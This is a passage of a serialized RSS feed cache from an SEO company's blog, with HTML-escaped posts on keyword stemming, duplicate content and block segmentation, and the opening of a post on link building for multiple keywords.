aligncenter\&quot;&gt;&lt;a href=\&quot;http://seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-2549\&quot; title=\&quot;keyword-stemming\&quot; src=\&quot;http://seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming.jpg\&quot; alt=\&quot;Create Topical Relevance for Keyword Stemming\&quot; width=\&quot;425\&quot; height=\&quot;282\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming.jpg 425w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 425px) 100vw, 425px\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Create Topical Relevance for Keyword Stemming&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;What degree of contextual extraction from &lt;span id=\&quot;urn:enhancement-5b65dde2-b5c2-290a-b2e9-3079555e88f8\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engine snippets contributes to ambient or unintentional &lt;span id=\&quot;urn:enhancement-40bd1a5b-b768-0d26-0bf8-19ea6fe9d678\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engine rankings? Considering that &lt;strong&gt;over 50% of keyword queries are unique&lt;/strong&gt; and even &lt;span id=\&quot;urn:enhancement-2bd56aef-0865-56db-2e17-c05892a6ead7\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines have not seen them; information retrieval relies on &lt;a href=\&quot;http://seodesignsolutions.com/blog/how-to-reference-material/using-lsi-based-synonyms-for-on-page-semantic-relevance/\&quot;&gt;contextual relevance&lt;/a&gt; to determine a pages quality score determined by the domain authority.&lt;span id=\&quot;more-2553\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;span id=\&quot;urn:enhancement-b3f7226e-c6c5-778b-0c1f-2c5fc8eab9be\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/web_search_engine\&quot;&gt;Search engine&lt;/span&gt; optimization (&lt;span id=\&quot;urn:enhancement-f0f7cedc-6d10-eb93-077a-db5c67c8af55\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt;&lt;/span&gt;) involves fine tuning your pages for optimal performance in &lt;span id=\&quot;urn:enhancement-d214637f-6554-c500-8fa8-22e1827be56b\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines.  While many webmasters and &lt;span id=\&quot;urn:enhancement-1149af12-353c-0811-a736-415a7aea8933\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;SEO&lt;/span&gt;&amp;#8216;s only focus on &lt;strong&gt;metrics you can measure&lt;/strong&gt;, there is a holistic and alchemical element that occurs naturally over time when the value of each page blends and fuses to create topical islands of relevance. This topical relevance allows pages to rank for a plethora of key phrases unintentionally and deliver an array of traffic to fuel &lt;span id=\&quot;urn:enhancement-6143fbfa-ec02-278c-742a-4fd5c0ccce65\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/conversion_marketing\&quot;&gt;conversion&lt;/span&gt; for your website.&lt;/p&gt;\n&lt;p&gt;There is a &lt;strong&gt;window of relevance&lt;/strong&gt; that &lt;span id=\&quot;urn:enhancement-ad0c433f-d828-0783-3b84-b174987abafb\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines use to determine which content stays and which content goes. For example, pages from sites that have not been visited since 1997 without &lt;span id=\&quot;urn:enhancement-22e85bca-c455-d2d5-1bf8-e17241040c74\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/backlink\&quot;&gt;inbound links&lt;/span&gt;, references or any type of inference from peers (other sites) lack the necessary impact to remain a relevant result and are either minimized to &lt;span id=\&quot;urn:enhancement-e6079f90-a52a-b37a-552e-cfd0d04979af\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/ranking\&quot;&gt;ranking&lt;/span&gt; for 1-2 terms or are essentially pushed out of the index.&lt;/p&gt;\n&lt;p&gt;On the contrary a new page from a trusted site or a new page from a site being linked to from other topical sites, social media sites, news aggregators, directories or editorially from various sources does have the needed ingredients to toggle the metrics necessary to be considered a relevant page and thus ensures its survival in the SERPs.&lt;/p&gt;\n&lt;p&gt;Essentially, each page that crosses a &lt;strong&gt;relevance threshold&lt;/strong&gt; for the on page and off page synergy starts to stem and rank for keywords found sparsely on that page. This translates into hit after hit for keyword that was not considered primary phrases for the page in question.&lt;/p&gt;\n&lt;p&gt;This is typically referred to as &lt;em&gt;mid-tail to long-tail traffic&lt;/em&gt;, however, this type of traffic can often exceed intentional (sought after) primary keywords consistently. In addition, using this aspect of how &lt;span id=\&quot;urn:enhancement-c790d089-46f9-d0ae-3ea8-bec8d436f2a6\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines scale relevance (before awarding a site a top &lt;span id=\&quot;urn:enhancement-8d571f11-be70-f9a8-44c1-4b8171b3df13\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/ranking\&quot;&gt;ranking&lt;/span&gt;) &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/website-optimization-tips-for-link-building-and-seo/\&quot;&gt;keyword stemming&lt;/a&gt; should be utilized as a strategic advantage.&lt;/p&gt;\n&lt;p&gt;Mapping out the most &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/seo-optimized/\&quot;&gt;relevant shingles&lt;/a&gt; to define your page to &lt;span id=\&quot;urn:enhancement-6e1d9ded-7819-36ab-f854-9d9057bfcd03\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines, then using accommodating anchor text (on page) within the site with internal links and reinforcing that with (off page) links from other sites with related topical reference (&lt;span id=\&quot;urn:enhancement-17b3569b-3e83-e307-f361-65dd904014b8\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/peer_review\&quot;&gt;peer review&lt;/span&gt;) creates authority for those keywords and key phrases.&lt;/p&gt;\n&lt;p&gt;So, for those still trying to measure the &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-services/seo-pricing-why-seo-rates-cost-so-much/\&quot;&gt;&lt;span id=\&quot;urn:enhancement-a8a160a9-67a7-a625-8b89-d410364fb8e6\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/return_on_investment\&quot;&gt;ROI&lt;/span&gt; of &lt;span id=\&quot;urn:enhancement-6eb552b2-cc90-eadc-d4e2-fc9291a05bee\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;SEO&lt;/span&gt;&lt;/a&gt; prematurely, the results are cumulative and essentially continue to overlap over time. The takeaway is, with the exceedingly high degree of click fraud occurring in &lt;a href=\&quot;http://seodesignsolutions.com/blog/internet-marketing/seo-ppc-advertising-branding-or-lead-generation/\&quot;&gt;&lt;span id=\&quot;urn:enhancement-812a4ac3-0e71-9eff-5a40-e7e15ae7f600\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/pay_per_click\&quot;&gt;PPC&lt;/span&gt; &lt;/a&gt;(up to 35% in some instances) taking control of how you communicate your pages purpose to &lt;span id=\&quot;urn:enhancement-04b30c8a-aeab-294a-634a-dcecedf33989\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines and how they evaluate your website (as a reference or authority) is an added benefit of &lt;span id=\&quot;urn:enhancement-070bf8a7-f77f-db88-c2b0-65cba254b692\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;SEO&lt;/span&gt;.&lt;/p&gt;\n&lt;p&gt;For every keyword you target with purpose, 10 more are also pulled into the spotlight (which you can use to stem and pull up multiple related pages within your website into the top 10 results).&lt;/p&gt;\n&lt;p&gt;What is &lt;strong&gt;the value of a top 10 &lt;span id=\&quot;urn:enhancement-ee37e751-aa90-687e-2a2d-0e57ae221939\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/ranking\&quot;&gt;ranking&lt;/span&gt;&lt;/strong&gt; you might ask? That all depends on how trafficked the keyword or the topic are. However, aside from &lt;span id=\&quot;urn:enhancement-ea9cc3e7-924d-275d-2da0-00e2152967fd\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/web_traffic\&quot;&gt;visitors&lt;/span&gt; typing in keywords and searching for those pages, &lt;span id=\&quot;urn:enhancement-b0d09fa5-55c7-0000-fc40-582268403e31\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; engines can evaluate when your content has passed the contextual point of relevance and will essentially return those pages as relevant results (when someone searches).&lt;/p&gt;\n&lt;p&gt;With this in mind, you can target the low hanging fruit of today to capture the most competitive keywords in the long-run and create a pure win/win relevance model for your website.&lt;/p&gt;\n&lt;p&gt;Viewing &lt;span id=\&quot;urn:enhancement-ad242e3d-4501-7a41-ce02-f1d0206c9ac0\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_optimization\&quot;&gt;SEO&lt;/span&gt; from this standpoint, you can reap the immediate short-term benefits of rankings funneling &lt;span id=\&quot;urn:enhancement-36b6f0ba-909a-b78e-de18-a6c125a7a9e8\&quot; class=\&quot;textannotation disambiguated wl-thing\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/web_traffic\&quot;&gt;visitors&lt;/span&gt; to landing pages or take the approach of devouring market share so that &amp;#8220;just in case&amp;#8221; prospects &lt;span id=\&quot;urn:enhancement-b188756f-3abf-6432-0411-0d8e0935b559\&quot; class=\&quot;textannotation disambiguated wl-thing wl-no-link\&quot; itemid=\&quot;http://data.wordlift.it/wl068/entity/search_engine_technology\&quot;&gt;search&lt;/span&gt; for a particular topic; your website is there at the helm of all things related.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=5s6Rr3nWUss:_yZ1XJfU3L8:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/5s6Rr3nWUss\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:2;a:13:{s:5:\&quot;title\&quot;;s:49:\&quot;Block Segmentation, Duplicate Content, SEO and IR\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/5cAozBpoIes/\&quot;;s:8:\&quot;category\&quot;;s:156:\&quot;SEO ResourcesAvoid Duplication Across BlocksSearch Engine Context and DuplicationSEOSEO and Block SegmentationSEO and IRSEO Term Frequency and Co occurrence\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Sun, 14 May 2017 06:55:18 PDT\&quot;;s:4:\&quot;guid\&quot;;s:79:\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:6111:\&quot;&lt;p&gt;Often you hear about the need to prevent duplicate content within your own website as it applies to &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO&lt;/a&gt;, but why? This is our take on why creating uniquely distinct nodes on each page is imperative for your content to produce not only context, but rankings as opposed to tripping search engine filters.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-resources/seo-information-retrieval\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9652\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness.jpg\&quot; alt=\&quot;duplicate content\&quot; width=\&quot;425\&quot; height=\&quot;282\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness.jpg 425w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 425px) 100vw, 425px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Block segment analysis dictates the value of weight / ranking  factors a web page is given for a set portion of the page. For example, text in the header and footer of a document are treated differently than say text in the body section of a page.&lt;/p&gt;\n&lt;p&gt;The header is given more weight than the footer and typically the body text is given more value than both (since that is where the page has the ability to distinguish itself from borrowed elements, i.e. navigation, etc.).&lt;span id=\&quot;more-1821\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The reason for this is simple, page composition dictates that proximity and distinction (the more unique one document is from another) by distinguishing your content, the better. Search engines can easily discern duplication (through shingle analysis, singular value decomposition, etc.) in areas such as navigation, sidebars/blogrolls with the same links and footers all using the same text. This has the tendency of diffuse a pages ranking potential.&lt;/p&gt;\n&lt;p&gt;In order to leverage a page for &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt;, it must (1) get indexed and (2) stay indexed in order to pass its ideal &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/seo-theme-density-2/\&quot;&gt;ranking factor&lt;/a&gt;, be used to bridge ranking factor as a &lt;a href=\&quot;http://seodesignsolutions.com/blog/articles/hub-pages-for-seo/\&quot;&gt;hub&lt;/a&gt; by building &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-web-design/internal-links-are-you-making-the-most-of-yours/\&quot;&gt;internal links&lt;/a&gt; to and from that page. If search engines determine that your pages are redundant or ubiquitous the dampener kicks in algorithmically and the ranking factor can be suppressed via de-indexing or filters (&lt;strong&gt;like the supplemental index&lt;/strong&gt;) as a basis of sequencing leaving the same repetitive hash mark (from document to document).&lt;/p&gt;\n&lt;p&gt;This aspect of the ranking algorithm is based on the &lt;a href=\&quot;http://www.miislita.com/semantics/c-index-1.html\&quot;&gt;c-index&lt;/a&gt; whereby &lt;a href=\&quot;http://www.miislita.com/information-retrieval-tutorial/cosine-similarity-tutorial.html\&quot;&gt;term weight&lt;/a&gt; and similarity are used to assign relevance through &lt;a href=\&quot;http://mathworld.wolfram.com/SingularValueDecomposition.html\&quot;&gt;singular value decomposition&lt;/a&gt; as a base vector across web pages. If enough of the singular values are identified across the global collection of documents then you have co-occurrence (which may in this instance work against your ranking objectives).&lt;/p&gt;\n&lt;p&gt;Duplication via a template or though tag pages that lack unique content can go supplemental in a secondary search index, if they are not nurtured with enough &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/what-is-the-real-value-of-a-link/\&quot;&gt;internal link flow&lt;/a&gt;. The gist here is, the larger your website grows, the higher the probability of diffusing or diluting your global nodes / top ranking keywords (a.k.a &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/duplicate-content-and-shingle-analysis-for-seo/\&quot;&gt;keyword cannibalization&lt;/a&gt;) like an over-optimization penalty.&lt;/p&gt;\n&lt;p&gt;Just like a base that shifts to accommodate scalability, the foundation (like a triangle) must continue to broaden its base if the vertical threshold continues to rise. Similarly, the more pages you add about (1) topic A shift the focus from topic B. The common thread in most websites is the navigation (which if left to a simplistic ontology is not sufficient to feed an entire website).&lt;/p&gt;\n&lt;p&gt;You can stem a websites topic into multiple topics, however each has a threshold to cross and moving on many fronts requires more inbound links and internal stability though secondary navigation to &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/using-seo-to-sculpt-relevance-for-keyword-prominence/\&quot;&gt;sculpt the on page factors&lt;/a&gt; that identify each segments (to pass value).&lt;/p&gt;\n&lt;p&gt;This is why &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization-myths/you-cant-buy-credibility/\&quot;&gt;virtual theming&lt;/a&gt; (linking from relevant keywords in one document to another document) is so important. It allows the ranking factor to transfer link weight to the champion page through term frequency which essentially raises the bar in how search engines will interpret each respective keyword when considering it for retrieval.&lt;/p&gt;\n&lt;p&gt;Deep linking (acquiring inbound links to a specific page vs. just the homepage) is equally as beneficial for eliminating the tendency for pages to go supplemental (or lose ranking factor as a unique asset). When you spread a site too thin (expand the content through automation) such as using a shopping cart that pulls similar values from a database. You must ensure that you have the ability to customize data (titles, h1, and content) to make each page distinct enough to add additional leverage to your primary, secondary and tertiary keywords that define your website.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=5cAozBpoIes:1bPFb7KHJek:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/5cAozBpoIes\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:446:\&quot;Often you hear about the need to prevent duplicate content within your own website as it applies to SEO, but why? This is our take on why creating uniquely distinct nodes on each page is imperative for your content to produce not only context, but rankings as opposed to tripping search engine filters. Block segment &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:84:\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;13\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:79:\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot;;}s:7:\&quot;summary\&quot;;s:446:\&quot;Often you hear about the need to prevent duplicate content within your own website as it applies to SEO, but why? This is our take on why creating uniquely distinct nodes on each page is imperative for your content to produce not only context, but rankings as opposed to tripping search engine filters. Block segment &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-resources/seo-information-retrieval/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:6111:\&quot;&lt;p&gt;Often you hear about the need to prevent duplicate content within your own website as it applies to &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO&lt;/a&gt;, but why? This is our take on why creating uniquely distinct nodes on each page is imperative for your content to produce not only context, but rankings as opposed to tripping search engine filters.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-resources/seo-information-retrieval\&quot;&gt;&lt;img class=\&quot;aligncenter size-full wp-image-9652\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness.jpg\&quot; alt=\&quot;duplicate content\&quot; width=\&quot;425\&quot; height=\&quot;282\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness.jpg 425w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/04/uniqueness-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 425px) 100vw, 425px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Block segment analysis dictates the value of weight / ranking  factors a web page is given for a set portion of the page. For example, text in the header and footer of a document are treated differently than say text in the body section of a page.&lt;/p&gt;\n&lt;p&gt;The header is given more weight than the footer and typically the body text is given more value than both (since that is where the page has the ability to distinguish itself from borrowed elements, i.e. navigation, etc.).&lt;span id=\&quot;more-1821\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;The reason for this is simple, page composition dictates that proximity and distinction (the more unique one document is from another) by distinguishing your content, the better. Search engines can easily discern duplication (through shingle analysis, singular value decomposition, etc.) in areas such as navigation, sidebars/blogrolls with the same links and footers all using the same text. This has the tendency of diffuse a pages ranking potential.&lt;/p&gt;\n&lt;p&gt;In order to leverage a page for &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt;, it must (1) get indexed and (2) stay indexed in order to pass its ideal &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/seo-theme-density-2/\&quot;&gt;ranking factor&lt;/a&gt;, be used to bridge ranking factor as a &lt;a href=\&quot;http://seodesignsolutions.com/blog/articles/hub-pages-for-seo/\&quot;&gt;hub&lt;/a&gt; by building &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-web-design/internal-links-are-you-making-the-most-of-yours/\&quot;&gt;internal links&lt;/a&gt; to and from that page. If search engines determine that your pages are redundant or ubiquitous the dampener kicks in algorithmically and the ranking factor can be suppressed via de-indexing or filters (&lt;strong&gt;like the supplemental index&lt;/strong&gt;) as a basis of sequencing leaving the same repetitive hash mark (from document to document).&lt;/p&gt;\n&lt;p&gt;This aspect of the ranking algorithm is based on the &lt;a href=\&quot;http://www.miislita.com/semantics/c-index-1.html\&quot;&gt;c-index&lt;/a&gt; whereby &lt;a href=\&quot;http://www.miislita.com/information-retrieval-tutorial/cosine-similarity-tutorial.html\&quot;&gt;term weight&lt;/a&gt; and similarity are used to assign relevance through &lt;a href=\&quot;http://mathworld.wolfram.com/SingularValueDecomposition.html\&quot;&gt;singular value decomposition&lt;/a&gt; as a base vector across web pages. If enough of the singular values are identified across the global collection of documents then you have co-occurrence (which may in this instance work against your ranking objectives).&lt;/p&gt;\n&lt;p&gt;Duplication via a template or though tag pages that lack unique content can go supplemental in a secondary search index, if they are not nurtured with enough &lt;a href=\&quot;http://seodesignsolutions.com/blog/link-building/what-is-the-real-value-of-a-link/\&quot;&gt;internal link flow&lt;/a&gt;. The gist here is, the larger your website grows, the higher the probability of diffusing or diluting your global nodes / top ranking keywords (a.k.a &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/duplicate-content-and-shingle-analysis-for-seo/\&quot;&gt;keyword cannibalization&lt;/a&gt;) like an over-optimization penalty.&lt;/p&gt;\n&lt;p&gt;Just like a base that shifts to accommodate scalability, the foundation (like a triangle) must continue to broaden its base if the vertical threshold continues to rise. Similarly, the more pages you add about (1) topic A shift the focus from topic B. The common thread in most websites is the navigation (which if left to a simplistic ontology is not sufficient to feed an entire website).&lt;/p&gt;\n&lt;p&gt;You can stem a websites topic into multiple topics, however each has a threshold to cross and moving on many fronts requires more inbound links and internal stability though secondary navigation to &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/using-seo-to-sculpt-relevance-for-keyword-prominence/\&quot;&gt;sculpt the on page factors&lt;/a&gt; that identify each segments (to pass value).&lt;/p&gt;\n&lt;p&gt;This is why &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization-myths/you-cant-buy-credibility/\&quot;&gt;virtual theming&lt;/a&gt; (linking from relevant keywords in one document to another document) is so important. It allows the ranking factor to transfer link weight to the champion page through term frequency which essentially raises the bar in how search engines will interpret each respective keyword when considering it for retrieval.&lt;/p&gt;\n&lt;p&gt;Deep linking (acquiring inbound links to a specific page vs. just the homepage) is equally as beneficial for eliminating the tendency for pages to go supplemental (or lose ranking factor as a unique asset). When you spread a site too thin (expand the content through automation) such as using a shopping cart that pulls similar values from a database. You must ensure that you have the ability to customize data (titles, h1, and content) to make each page distinct enough to add additional leverage to your primary, secondary and tertiary keywords that define your website.&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=5cAozBpoIes:1bPFb7KHJek:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/5cAozBpoIes\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:3;a:13:{s:5:\&quot;title\&quot;;s:66:\&quot;How to Build Links and Optimize your Website for Multiple Keywords\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/fMke79EeF5s/\&quot;;s:8:\&quot;category\&quot;;s:137:\&quot;Search Engine OptimizationGoogle-Link-Building-Optimization-StrategyGoogle-SEOHow-to-Optimize-Website-for-Multiple-Keywordsseo-techniques\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 03 May 2017 05:00:26 PDT\&quot;;s:4:\&quot;guid\&quot;;s:133:\&quot;http://www.seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:14799:\&quot;&lt;p&gt;In case you were wondering how to systematically achieve saturation for &lt;strong&gt;multiple keywords&lt;/strong&gt; for your website in search engines (instead of just a few) using &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;SEO&lt;/a&gt;, then this is a must read post. This tactic is specifically designed to work in Google using the allinanchor / keyword relevance ratio to back links pointing at your site.&lt;br /&gt;\n&lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;&gt;&lt;img src=\&quot;http://seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords.jpg\&quot; alt=\&quot;\&quot; title=\&quot;Optimizing Multiple Keywords\&quot; width=\&quot;400\&quot; height=\&quot;275\&quot; class=\&quot;aligncenter size-full wp-image-617\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/11/multiple-keywords-300x206.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;br /&gt;\nThis is the point where the competition gets nervous as a tactic like this could go viral with just one post from a popular Stumbler, Digg or otherwise. I will leave that at your discretion to cast your vote, but this is not the first time where I should have simply shut up, but I thought I would leave you with some good reading material for the weekend.&lt;span id=\&quot;more-93\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;As an &lt;a href=\&quot;http://www.seodesignsolutions.com/seo/\&quot;&gt;SEO&lt;/a&gt; company involved in this illustrious industry, I feel like we owe those sincere seekers who yearn for legitimate &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; techniques and only find dozens of sites with shallow posts, vague references and theory. I don&amp;#8217;t mind sharing a few tactics here and there about &lt;a href=\&quot;http://seodesignsolutions.com/blog/how-to-reference-material/optimizing-your-website-for-multiple-keywords/\&quot;&gt;keyword optimization&lt;/a&gt;, as the tendency to create, test and implement them typically happens faster than I can write them down. &lt;/p&gt;\n&lt;p&gt;This post in essence serves as a web-log of a fundamental technique, that we have used time and time again to bolster &lt;a href=\&quot;http://www.seodesignsolutions.com/seo-services.html\&quot;&gt;multiple top 10 positions&lt;/a&gt; in search engines.  Naturally, we have to hold back something, otherwise we would make the SEO community obsolete, but in any case, these tactics are what we use when targeting an entire industry for long tail search engine domination, they can also be used for more aggressive/competitive terms by &lt;a 